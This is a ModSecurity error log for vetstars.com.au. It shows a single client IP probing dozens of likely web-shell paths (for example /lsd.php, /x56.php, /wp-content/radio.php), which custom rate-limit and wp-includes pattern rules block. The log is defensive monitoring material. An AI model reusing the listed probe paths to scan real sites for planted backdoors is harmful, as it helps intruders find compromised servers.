[Thu Dec 25 19:10:57.819318 2025] [:error] [pid 2996:tid 3002] [client 4.241.194.62:31247] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aU0bwarrTp0EWNyhaIRYIAAAAQQ"]
[Thu Dec 25 19:10:58.160040 2025] [:error] [pid 2996:tid 3021] [client 4.241.194.62:29613] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aU0bwqrrTp0EWNyhaIRYIQAAARc"]
[Thu Dec 25 19:10:58.498171 2025] [:error] [pid 31570:tid 31618] [client 4.241.194.62:30663] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aU0bwmPy2DpAzW_4a2hFoAAAAFI"]
[Thu Dec 25 19:10:58.970664 2025] [:error] [pid 31570:tid 31604] [client 4.241.194.62:12584] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aU0bwmPy2DpAzW_4a2hFowAAAEQ"]
[Thu Dec 25 19:10:59.266136 2025] [:error] [pid 31655:tid 31660] [client 4.241.194.62:29570] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aU0bw5ozPMk9HPtIJPOe_wAAAMM"]
[Thu Dec 25 19:10:59.620404 2025] [:error] [pid 2996:tid 3015] [client 4.241.194.62:11986] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aU0bw6rrTp0EWNyhaIRYKAAAARE"]
[Thu Dec 25 19:11:00.002039 2025] [:error] [pid 31655:tid 31661] [client 4.241.194.62:30701] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aU0bxJozPMk9HPtIJPOfAQAAAMQ"]
[Thu Dec 25 19:11:00.521422 2025] [:error] [pid 31569:tid 31584] [client 4.241.194.62:30712] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aU0bxGiSFBH7Ee_uldXc6AAAAAs"]
[Thu Dec 25 19:11:00.837035 2025] [:error] [pid 31569:tid 31578] [client 4.241.194.62:30696] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aU0bxGiSFBH7Ee_uldXc6QAAAAU"]
[Thu Dec 25 19:11:01.525603 2025] [:error] [pid 31571:tid 31643] [client 4.241.194.62:63298] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aU0bxe7e_lLK2X5wU8m8-QAAAJA"]
[Thu Dec 25 19:11:02.024204 2025] [:error] [pid 2996:tid 3001] [client 4.241.194.62:30707] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aU0bxqrrTp0EWNyhaIRYMgAAAQM"]
[Thu Dec 25 19:11:02.402053 2025] [:error] [pid 31570:tid 31606] [client 4.241.194.62:12453] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aU0bxmPy2DpAzW_4a2hFqgAAAEY"]
[Thu Dec 25 19:11:02.698391 2025] [:error] [pid 31569:tid 31591] [client 4.241.194.62:12576] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aU0bxmiSFBH7Ee_uldXc8QAAABI"]
[Thu Dec 25 19:11:02.951174 2025] [:error] [pid 31569:tid 31579] [client 4.241.194.62:12016] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aU0bxmiSFBH7Ee_uldXc8gAAAAY"]
[Thu Dec 25 19:11:03.482497 2025] [:error] [pid 31570:tid 31607] [client 4.241.194.62:29582] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aU0bx2Py2DpAzW_4a2hFtgAAAEc"]
[Thu Dec 25 19:11:03.824850 2025] [:error] [pid 31570:tid 31620] [client 4.241.194.62:30687] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aU0bx2Py2DpAzW_4a2hFuAAAAFQ"]
[Thu Dec 25 19:11:04.322035 2025] [:error] [pid 31569:tid 31592] [client 4.241.194.62:11972] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aU0byGiSFBH7Ee_uldXc9QAAABM"]
[Thu Dec 25 19:11:04.872106 2025] [:error] [pid 31569:tid 31594] [client 4.241.194.62:29571] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aU0byGiSFBH7Ee_uldXc9wAAABU"]
[Thu Dec 25 19:11:05.196473 2025] [:error] [pid 31570:tid 31613] [client 4.241.194.62:44326] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aU0byWPy2DpAzW_4a2hFxAAAAE0"]
[Thu Dec 25 19:11:05.773119 2025] [:error] [pid 31569:tid 31578] [client 4.241.194.62:29601] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aU0byWiSFBH7Ee_uldXc-wAAAAU"]
[Thu Dec 25 19:11:06.076617 2025] [:error] [pid 31571:tid 31647] [client 4.241.194.62:12107] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU0byu7e_lLK2X5wU8m8-gAAAJQ"]
[Thu Dec 25 19:11:06.485805 2025] [:error] [pid 31569:tid 31588] [client 4.241.194.62:29607] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU0bymiSFBH7Ee_uldXc_QAAAA8"]
[Thu Dec 25 19:11:06.805626 2025] [:error] [pid 31569:tid 31581] [client 4.241.194.62:30660] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU0bymiSFBH7Ee_uldXdAAAAAAg"]
[Thu Dec 25 19:11:07.072172 2025] [:error] [pid 31569:tid 31591] [client 4.241.194.62:41067] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU0by2iSFBH7Ee_uldXdAwAAABI"]
[Thu Dec 25 19:11:07.331093 2025] [:error] [pid 31569:tid 31583] [client 4.241.194.62:11969] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aU0by2iSFBH7Ee_uldXdBwAAAAo"]
[Thu Dec 25 19:11:07.616501 2025] [:error] [pid 31569:tid 31577] [client 4.241.194.62:12157] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aU0by2iSFBH7Ee_uldXdCQAAAAQ"]
[Thu Dec 25 19:11:07.865732 2025] [:error] [pid 31570:tid 31621] [client 4.241.194.62:12132] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aU0by2Py2DpAzW_4a2hFxgAAAFU"]
[Thu Dec 25 19:11:08.148271 2025] [:error] [pid 31569:tid 31580] [client 4.241.194.62:29588] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aU0bzGiSFBH7Ee_uldXdDQAAAAc"]
[Thu Dec 25 19:11:08.462615 2025] [:error] [pid 31655:tid 31671] [client 4.241.194.62:30659] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aU0bzJozPMk9HPtIJPOfAwAAAM4"]
[Thu Dec 25 19:11:08.763544 2025] [:error] [pid 2996:tid 3000] [client 4.241.194.62:41059] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aU0bzKrrTp0EWNyhaIRYPQAAAQI"]
[Thu Dec 25 19:11:09.164601 2025] [:error] [pid 31570:tid 31612] [client 4.241.194.62:12106] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aU0bzWPy2DpAzW_4a2hFxwAAAEw"]
[Thu Dec 25 19:11:09.442401 2025] [:error] [pid 31570:tid 31600] [client 4.241.194.62:41077] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aU0bzWPy2DpAzW_4a2hFyAAAAEA"]
[Thu Dec 25 19:11:09.812774 2025] [:error] [pid 31569:tid 31590] [client 4.241.194.62:41040] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aU0bzWiSFBH7Ee_uldXdDwAAABE"]
[Thu Dec 25 19:11:10.120031 2025] [:error] [pid 31569:tid 31585] [client 4.241.194.62:62066] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aU0bzmiSFBH7Ee_uldXdEAAAAAw"]
[Thu Dec 25 19:11:10.449319 2025] [:error] [pid 31569:tid 31581] [client 4.241.194.62:41085] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aU0bzmiSFBH7Ee_uldXdEgAAAAg"]
[Thu Dec 25 19:11:10.956917 2025] [:error] [pid 31569:tid 31589] [client 4.241.194.62:12155] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aU0bzmiSFBH7Ee_uldXdFgAAABA"]
[Thu Dec 25 19:11:11.232811 2025] [:error] [pid 31569:tid 31592] [client 4.241.194.62:30709] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aU0bz2iSFBH7Ee_uldXdGQAAABM"]
[Thu Dec 25 19:11:11.528849 2025] [:error] [pid 31571:tid 31642] [client 4.241.194.62:30669] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aU0bz-7e_lLK2X5wU8m8_gAAAI8"]
[Thu Dec 25 19:11:11.831917 2025] [:error] [pid 31571:tid 31651] [client 4.241.194.62:12013] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aU0bz-7e_lLK2X5wU8m9AAAAAJg"]
[Thu Dec 25 19:11:12.227127 2025] [:error] [pid 31571:tid 31640] [client 4.241.194.62:62038] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aU0b0O7e_lLK2X5wU8m9AwAAAI0"]
[Thu Dec 25 19:11:12.480857 2025] [:error] [pid 2996:tid 3021] [client 4.241.194.62:30664] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aU0b0KrrTp0EWNyhaIRYQAAAARc"]
[Thu Dec 25 19:11:12.966043 2025] [:error] [pid 2996:tid 3019] [client 4.241.194.62:30668] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aU0b0KrrTp0EWNyhaIRYQQAAARU"]
[Thu Dec 25 19:11:13.592225 2025] [:error] [pid 2996:tid 3022] [client 4.241.194.62:62069] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aU0b0arrTp0EWNyhaIRYRAAAARg"]
[Thu Dec 25 19:11:14.281582 2025] [:error] [pid 2996:tid 3003] [client 4.241.194.62:12003] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aU0b0qrrTp0EWNyhaIRYRgAAAQU"]
[Thu Dec 25 19:11:14.729060 2025] [:error] [pid 31571:tid 31639] [client 4.241.194.62:12001] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aU0b0u7e_lLK2X5wU8m9BQAAAIw"]
[Thu Dec 25 19:11:15.080501 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:62062] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aU0b06rrTp0EWNyhaIRYSQAAAQc"]
[Thu Dec 25 19:11:15.392913 2025] [:error] [pid 2996:tid 3000] [client 4.241.194.62:12117] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aU0b06rrTp0EWNyhaIRYSwAAAQI"]
[Thu Dec 25 19:11:15.753808 2025] [:error] [pid 2996:tid 3020] [client 4.241.194.62:12103] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aU0b06rrTp0EWNyhaIRYTQAAARY"]
[Thu Dec 25 19:11:16.161485 2025] [:error] [pid 2996:tid 3002] [client 4.241.194.62:29581] [client 4.241.194.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aU0b1KrrTp0EWNyhaIRYUQAAAQQ"]
[Thu Dec 25 19:11:16.576053 2025] [:error] [pid 31569:tid 31594] [client 4.241.194.62:11983] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aU0b1GiSFBH7Ee_uldXdLAAAABU"]
[Thu Dec 25 19:11:16.922274 2025] [:error] [pid 31569:tid 31574] [client 4.241.194.62:12156] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aU0b1GiSFBH7Ee_uldXdLgAAAAE"]
[Thu Dec 25 19:11:17.191800 2025] [:error] [pid 31571:tid 31643] [client 4.241.194.62:29592] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aU0b1e7e_lLK2X5wU8m9CwAAAJA"]
[Thu Dec 25 19:11:17.465244 2025] [:error] [pid 31571:tid 31648] [client 4.241.194.62:55780] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aU0b1e7e_lLK2X5wU8m9DQAAAJU"]
[Thu Dec 25 19:11:17.796485 2025] [:error] [pid 31571:tid 31630] [client 4.241.194.62:41082] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU0b1e7e_lLK2X5wU8m9DgAAAIM"]
[Thu Dec 25 19:11:18.163491 2025] [:error] [pid 31571:tid 31642] [client 4.241.194.62:29568] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU0b1u7e_lLK2X5wU8m9EQAAAI8"]
[Thu Dec 25 19:11:18.430913 2025] [:error] [pid 2996:tid 3009] [client 4.241.194.62:30661] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU0b1qrrTp0EWNyhaIRYUwAAAQs"]
